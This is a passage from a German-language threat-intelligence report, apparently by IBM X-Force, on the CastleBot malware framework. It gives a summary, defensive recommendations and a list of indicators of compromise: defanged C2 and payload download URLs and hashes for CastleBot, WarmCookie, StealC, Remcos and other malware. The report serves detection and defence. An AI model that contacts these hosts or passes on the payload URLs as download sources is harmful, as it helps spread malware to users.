  • Payload gehostet unter http[:]//107.158.128[.]45/service/download/Exchanger32.zip (4834bc71fc5d3729ad5280e44a13e9627e3a82fd4db1bb992fa8ae52602825c6)

MonsterV2:

  • libssl-1_1.dll (53dddae886017fbfbb43ef236996b9a4d9fb670833dfa0c3eac982815dc8d2a5) DLL-sideloaded, reflektiert CastleBot Stager
  • CastleBot C2-Server: http[:]//107.158.128[.]45/service/settings/8306a6b35d4be6de72be58860791e3644468fd675e4045a246dd27fa5692c
  • Payload gehostet unter http[:]//107.158.128[.]45/service/download/CCver_Setup.exe (ab725f5ab19eec691b66c37c715abd0e9ab44556708094a911b84987d700aa62)

Zusammenfassung

CastleBot ist der jüngste Beweis für eine Verschiebung der ursprünglichen Infektionsvektoren in der Geschäftswelt der Cyberkriminalität. Backdoors und MaaS-Frameworks werden zunehmend über gefälschte Webseiten als Teil von trojanischer Software oder über die ClickFix-Technik verbreitet. Innerhalb weniger Monate nach dem Anstieg der CastleBot-Aktivitäten haben die Entwickler bereits mehrere neue Funktionen hinzugefügt und werden voraussichtlich versuchen, mit der Anpassung von EDR- und Netzwerksicherheitslösungen Schritt zu halten. Aktuelle Aktivitäten lassen vermuten, dass mehrere verbundene Unternehmen CastleBot nutzen, um sowohl Infostealer als auch Hintertüren bereitzustellen, was zu schwerwiegenden Ransomware-Vorfällen führen kann.

Den Verteidigern wird geraten, die in diesem Bericht genannten Techniken weiterhin aufmerksam zu verfolgen und geeignete Maßnahmen zu ergreifen, um das Risiko einer CastleBot-Infektion zu minimieren.

Empfehlungen

  • Stellen Sie sicher, dass die EDR-Software und die zugehörigen Sicherheitskontrollen auf dem neuesten Stand sind.
  • Trainieren Sie die Benutzer, bei der Installation von Software äußerste Vorsicht walten zu lassen und die Installation nicht genehmigter oder nicht verifizierter Software zu unterlassen.
  • Implementieren Sie eine Multi-Faktor-Authentifizierung und überwachen Sie die Weitergabe von Zugangsdaten.
  • Richten Sie Warnmeldungen ein oder erwägen Sie die Blockierung ausgehender HTTP-Verbindungen (nicht HTTPS) und insbesondere von URLs mit IP-Adressen.

Indikatoren für Kompromittierung

Indikator

Art des Indikators

Kontext

http://173.44.141[.]89/service/
download/data_4x.bin

URL

CastleBot Core-Download-URL

http://173.44.141[.]89/service/
download/data_3x.bin

URL

CastleBot Loader Download-URL

http://173.44.141[.]89/service/

URL

CastleBot C2-Server

http://mhousecreative
[.]com/service/

URL

CastleBot C2-Server

http://80.77.23[.]48/service/

URL

CastleBot C2-Server

http://62.60.226[.]73/service/

URL

CastleBot C2-Server

http://107.158.128[.]45/service/

URL

CastleBot C2-Server

http://62.60.226[.]73/service/

URL

CastleBot C2-Server

202f6b6631ade2c41e4762e5
877ce0063a3beabce0c3f85
64b6499a1164c1e04

SHA256

CastleBot-Kern

a2898897d3ada2990e523b6
1f3efaacf6f67af1a52e0996d3f
9651b41a1c59c9

SHA256

PowerShell-Skript zum Herunterladen und Extrahieren eines ZIP-Archivs

d6eea6cf20a744f3394fb0c
1a30431f1ef79d6992b55262
2ad17d86490b7aa7b

SHA256

Verschlüsselter CastleBot-Stager

http://mhousecreative[.]com
/service/download/general_1

URL

NetSupport Download-URL (13. Mai)

2a2cd6377ad69a298af55f2
9359d67e4586ec16e6c02c1
b8ad27c38471145569

SHA256

NetSupport ZIP-Nutzlast

8b2ebeff16a20cfcf794e8f31
4c37795261619d96d602c8e
e13bc6255e951a43

SHA256

PowerShell-Skript zum Herunterladen und Extrahieren eines ZIP-Archivs

cbaf513e7fd4322b14adcc34
b34d793d79076ad31092598
1548e8d3cff886527

SHA256

Verschlüsselter CastleBot-Stager

05ecf871c7382b0c74e5bac
267bb5d12446f52368bb1bfe
5d2a4200d0f43c1d8

SHA256

DaveLoader

http://173.44.141[.]89/service/
download/docusign2.exe

URL

Download-URL von WarmCookie (6. Juni)

5bca7f1942e07e8c12ecd9c80
2ecdb96570dfaaa1f44a6753e
bb9ffda0604cb4

SHA256

WarmCookie-Payload

170.130.165[.]112

IPv4

WarmCookie C2-Server

bf21161c808ae74bf08e8d7f83
334ba926ffa0bab96ccac42dd
e418270387890

SHA256

AutoIt-Loader für CastleBot Stager

http://107.158.128[.]105/c9125
2f9ab114f26.php

URL

StealC C2 Server

e6aab1b6a150ee3cbc721ac25
75c57309f307f69cd1b478d49
4c25cde0baaf85

SHA256

Lader mit CastleBot-Kern

b45cce4ede6ffb7b6f28f75a0c
BB60E65592840D98DCB63155
b9fa0324a88be2 

SHA256

CastleBot-Kern

https://google.herionhelpline
[.]com/app/AcerUSBUpdate.
exe

URL

Rhadamanthys-Download URL (10. Juli)

03122e46a3e48141553e7567
c659642b1938b2d3641432f9
16375c163df819c1 

SHA256

Nutzlast der ersten Stufe von Rhadamanthys

https://google.herionhelpline
[.]com/app/light1_v5_signed.
html

URL

Remcos Download-URL (10. Juli)

12de997634859d1f93273e55
2dec855bfae440dcf11159ada19
ca0ae13d53dff 

SHA256

Remcos-Nutzlast

https://google.herionhelpline[.]com
/app/SlackUpdateWeb.html

 

URL

DeerStealer Download-URL (10. Juli)

c8f95f436c1f618a8ef5c49055
5c6a1380d018f44e1644837f19
cb71f6584a8a 

SHA256

DeerStealer-Nutzlast

8bf93cef46fda2bdb9d2a426
fbcd35ffedea9ed9bd97bf78c
c51282bd1fb2095

SHA256

Verschlüsselter CastleBot-Stager

http://107.158.128[.]45/service
/download/Exchanger32.zip

URL

Download-URL für HijackLoader und SecTopRAT (5. Juli)

4834bc71fc5d3729ad5280e4
4a13e9627e3a82fd4db1bb992
fa8ae52602825c6

SHA256

HijackLoader und SecTopRAT ZIP-Payload

53dddae886017fbfbb43ef2369
96b9a4d9fb670833dfa0c3eac
982815dc8d2a5

SHA256

Verschlüsselter CastleBot-Stager

http://107.158.128[.]45/service
/download/CCver_Setup.exe

URL

Download-URL für MonsterV2 (10. Juli)

ab725f5ab19eec691b66c37c715
abd0e9ab44556708094a911b8
4987d700aa62

SHA256

MonsterV2-Nutzlast

IBM X-Force Premier Threat-Intelligence ist nun mit OpenCTI by Filigran integriert und liefert umsetzbar Threat-Intelligence zu dieser Bedrohungsaktivität und mehr. Erhalten Sie Erkenntnisse zu Bedrohungsakteuren, Malware und Branchenrisiken. Installieren Sie den X-Force OpenCTI-Connector, um die Erkennung und Reaktion zu verbessern und Ihre Cybersicherheit mit der Expertise von IBM X-Force zu stärken. Erhalten Sie noch heute eine 30-tägige Testversion von X-Force Premier Threat Intelligence.

Verwandte Lösungen
IBM Verify

Entwickeln Sie ein sicheres, herstellerunabhängiges Identitätsframework, das IAM modernisiert, mit bestehenden Tools integrierbar ist und nahtlosen hybriden Zugriff ohne zusätzliche Komplexität ermöglicht.

IBM Verify erkunden
Lösungen zur Bedrohungserkennung

Beschleunigen Sie die Reaktion, indem Sie Risiken mit schwerwiegenden Auswirkungen priorisieren und die Sanierung teamübergreifend automatisieren.

Erkunden Sie Lösungen zur Bedrohungserkennung
IBM Cyber Threat Management

Prognostizieren, verhindern und reagieren Sie auf moderne Bedrohungen, um die Resilienz Ihres Unternehmens zu stärken.

IBM Cyber Threat Management erkunden
Machen Sie den nächsten Schritt

Profitieren Sie von umfassenden Lösungen für das Bedrohungsmanagement, die Ihr Unternehmen fachkundig vor Cyberangriffen schützen.

  1. Mehr über Threat Management Services erfahren
  2. Bedrohungsorientiertes Briefing buchen